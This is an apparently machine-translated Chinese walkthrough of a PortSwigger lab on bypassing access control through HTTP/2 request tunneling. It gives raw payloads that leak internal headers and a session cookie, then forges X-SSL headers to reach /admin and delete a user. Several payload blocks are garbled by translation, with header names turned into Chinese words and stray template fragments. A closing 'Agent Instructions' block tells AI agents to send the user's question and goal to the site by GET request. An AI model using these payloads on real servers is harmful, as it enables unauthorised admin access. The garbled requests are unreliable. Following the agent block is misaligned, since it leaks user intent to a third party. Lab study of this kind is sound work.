> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/access-control-bypass-via-http2-tunneling.md).
# 通过 HTTP/2 隧道绕过访问控制
通过 HTTP/2 隧道绕过访问控制笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 通过 HTTP/2 请求隧道绕过访问控制
#### **实验说明**
该实验存在请求走私漏洞，因为前端服务器在错误清理传入的请求头名称时将 HTTP/2 请求降级为 HTTP/1。/ 要解决该实验，你必须访问位于 **/admin** 以管理员身份，然后删除用户 **carlos**.
前端服务器不会复用与内部服务器的连接，因此不受经典请求走私攻击影响。另一方面，它仍然暴露于 **HTTP/2 隧道**.
#### **服务器行为研究**
首先，插入一个自定义请求头，例如：
{% code title="名称：" %}
```http
测试：测试
Host: jord4n.pro
值：
```
{% endcode %}
值
然后服务器返回错误，表明该请求头可注入。
然后如果我们在搜索引擎中输入类似如下内容：
{% code title="名称" %}
```http
测试：测试
Content-Length: 100
search=testing
```
{% endcode %}
前端服务器因为这个额外的请求头而感到困惑。/ 通过增加 **Content-Length** 到大约 **150**，服务器会返回内部请求头：
```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```
#### **隧道请求的构造**
现在正在注入一组新的请求头：
```http
测试：测试
GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682
```
为使隧道正常工作，需要放置正确的方法（视情况使用 HEAD 或 GET）以及所需的路径。
然后访问管理面板，在那里用户 **wiener** 和 **carlos** 会出现。
#### **删除用户**
删除操作通过发送类似的隧道请求来完成：
```http
测试：测试
GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/access-control-bypass-via-http2-tunneling.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
